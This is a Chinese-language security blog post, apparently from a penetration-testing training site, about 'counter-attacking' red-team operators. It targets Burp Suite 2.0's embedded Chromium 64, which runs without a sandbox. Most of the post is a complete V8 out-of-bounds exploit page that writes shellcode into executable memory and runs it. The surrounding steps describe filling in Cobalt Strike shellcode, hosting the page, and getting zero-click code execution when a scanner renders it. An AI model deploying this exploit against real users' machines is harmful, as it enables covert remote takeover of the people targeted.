1. 首页
  2. 安全防御

HW蓝队反制 | 之burpsuit上线CS

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

0x00前言:

Burp Suite的反制原理是利用低版本的chrome浏览器漏洞来触发命令执行达到反制的效果,Headless Chrome是谷歌Chrome浏览器的无界面模式,通过命令行方式打开网页并渲染,常用于自动化测试、网站爬虫、网站截图、XSS检测等场景。攻击者可以利用这些缺陷攻击客户端应用以达到命令执行效果。

0x01触发条件:

  1. Burp Suite v2.0的Live audit from Proxy被动扫描功能在默认情况下开启JavaScript分析引擎(JavaScript analysis),用于扫描JavaScript漏洞

2: Response -> Render及Repeater -> Render 功能进行渲染的时候会触发

0x02利用分析:

以低版本的burpsuit_pro2.0为例,解包后发现7zr.exe,以及个版本的chromoim的浏览器。

HW蓝队反制 | 之burpsuit上线CS

以windows系统为例,burp运行时,会将chromium解压到C:Usersuser
AppDataLocalJxBrowserbrowsercore-64.0.3282.24.unknown目录下

HW蓝队反制 | 之burpsuit上线CS

Burp Suite v2.0内置的Chromium版本为64.0.3282.24,该版本的Chromium存在多个Nday漏洞的影响,可以通过v8引擎漏洞执行shellcode从而获得PC权限。

这个漏洞没有公开的CVE ID,但是在这里可以找到

https://bugs.chromium.org/p/chromium/issues/detail?id=880207

POC 利用:

<html>
<head></head>
</body>
<script>
function pwn() {
    var f64Arr = new Float64Array(1);
    var u32Arr = new Uint32Array(f64Arr.buffer);
    function f2u(f) {
        f64Arr[0] = f;
        return u32Arr;
    }
    function u2f(h, l){
        u32Arr[0] = l;
        u32Arr[1] = h;
        return f64Arr[0];
    }
    function hex(i) {
        return "0x" + i.toString(16).padStart(8, "0");
    }
    function log(str) {
        console.log(str);
        document.body.innerText += str + 'n';
    }
    var big_arr = [1.1, 1.2];
    var ab = new ArrayBuffer(0x233);
    var data_view = new DataView(ab);
    function opt_me(x) {
        var oob_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
        big_arr = [1.1, 1.2];
        ab = new ArrayBuffer(0x233);
        data_view = new DataView(ab);
        let obj = {
            a: -0
        };
        let idx = Object.is(Math.expm1(x), obj.a) * 10;
        var tmp = f2u(oob_arr[idx])[0];
        oob_arr[idx] = u2f(0x234, tmp);
    }
    for (let a = 0; a < 0x1000; a++)
        opt_me(0);
    opt_me(-0);
    var optObj = {
        flag: 0x266,
        funcAddr: opt_me
    };
    log("[+] big_arr.length: " + big_arr.length);
    if (big_arr.length != 282) {
        log("[-] Can not modify big_arr length !");
        return;
    }
    var backing_store_idx = -1;
    var backing_store_in_hign_mem = false;
    var OptObj_idx = -1;
    var OptObj_idx_in_hign_mem = false;
    for (let a = 0; a < 0x100; a++) {
        if (backing_store_idx == -1) {
            if (f2u(big_arr[a])[0] == 0x466) {
                backing_store_in_hign_mem = true;
                backing_store_idx = a;
            } else if (f2u(big_arr[a])[1] == 0x466) {
                backing_store_in_hign_mem = false;
                backing_store_idx = a + 1;
            }
        }
        else if (OptObj_idx == -1) {
            if (f2u(big_arr[a])[0] == 0x4cc) {
                OptObj_idx_in_hign_mem = true;
                OptObj_idx = a;
            } else if (f2u(big_arr[a])[1] == 0x4cc) {
                OptObj_idx_in_hign_mem = false;
                OptObj_idx = a + 1;
            }
        }
    }
    if (backing_store_idx == -1) {
        log("[-] Can not find backing store !");
        return;
    } else
        log("[+] backing store idx: " + backing_store_idx +
            ", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");
    if (OptObj_idx == -1) {
        log("[-] Can not find Opt Obj !");
        return;
    } else
        log("[+] OptObj idx: " + OptObj_idx +
            ", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");
    var backing_store = (backing_store_in_hign_mem ?
        f2u(big_arr[backing_store_idx])[1] :
        f2u(big_arr[backing_store_idx])[0]);
    log("[+] Origin backing store: " + hex(backing_store));
    var dataNearBS = (!backing_store_in_hign_mem ?
        f2u(big_arr[backing_store_idx])[1] :
        f2u(big_arr[backing_store_idx])[0]);
    function read(addr) {
        if (backing_store_in_hign_mem)
            big_arr[backing_store_idx] = u2f(addr, dataNearBS);
        else
            big_arr[backing_store_idx] = u2f(dataNearBS, addr);
        return data_view.getInt32(0, true);
    }
    function write(addr, msg) {
        if (backing_store_in_hign_mem)
            big_arr[backing_store_idx] = u2f(addr, dataNearBS);
        else
            big_arr[backing_store_idx] = u2f(dataNearBS, addr);
        data_view.setInt32(0, msg, true);
    }
    var OptJSFuncAddr = (OptObj_idx_in_hign_mem ?
        f2u(big_arr[OptObj_idx])[1] :
        f2u(big_arr[OptObj_idx])[0]) - 1;
    log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
    var OptJSFuncCodeAddr = read(OptJSFuncAddr + 0x18) - 1;
    log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
    var RWX_Mem_Addr = OptJSFuncCodeAddr + 0x40;
    log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
    var shellcode = new Uint8Array(
        [这里填你的shellcode]
    );
    log("[+] writing shellcode ... ");
    for (let i = 0; i < shellcode.length; i++)
        write(RWX_Mem_Addr + i, shellcode[i]);
    log("[+] execute shellcode !");
    opt_me();
}
pwn();
</script>
</body>
</html>

0x03漏洞复现

 

我们先使用CS生成shellcode

HW蓝队反制 | 之burpsuit上线CS

本地开启web服务

HW蓝队反制 | 之burpsuit上线CS

开始反制:

受害者视角0click触发RCE,开启代理,使用浏览器正常访问触发。

原理是burpsuit的被动扫描功能默认情况下开了javascript分析引擎扫描javascript漏洞

HW蓝队反制 | 之burpsuit上线CS

JavaScript动态分析功能会调用chromium浏览器对页面进行XSS扫描,从而触发页面中的HTML渲染、JavaScript执行,触发v8漏洞执行shellcode。进程分析得知burpsuit进行渲染时调用chromium浏览器,Chromium附带 –no-sandbox参数,该参数关闭了沙盒 使之利用成功

HW蓝队反制 | 之burpsuit上线CS

HW蓝队反制 | 之burpsuit上线CS

在之后的版本中burpsuit升级使用了chrome.exe作为内嵌浏览器。并且在进程启用时删除了–no-sandbox参数。

HW蓝队反制 | 之burpsuit上线CS

Chrome同样也存在多个历史漏洞影响多个版本,如果要在之后的burpsuit版本中RCE首先需要做的就是沙盒逃逸,CVE-2021-30633就可以做到。

影响版本:

受多个chrome 1day的影响,burpsuit受影响版本

> 2021.8.3的版本

HW蓝队反制 | 之burpsuit上线CS

0x04参考文献:

https://www.anquanke.com/post/id/252591#h2-3
https://starlabs.sg/blog/2022/01/the-cat-escaped-from-the-chrome-sandbox/
https://bugs.chromium.org/p/chromium/issues/detail?id=880207

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/4784.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息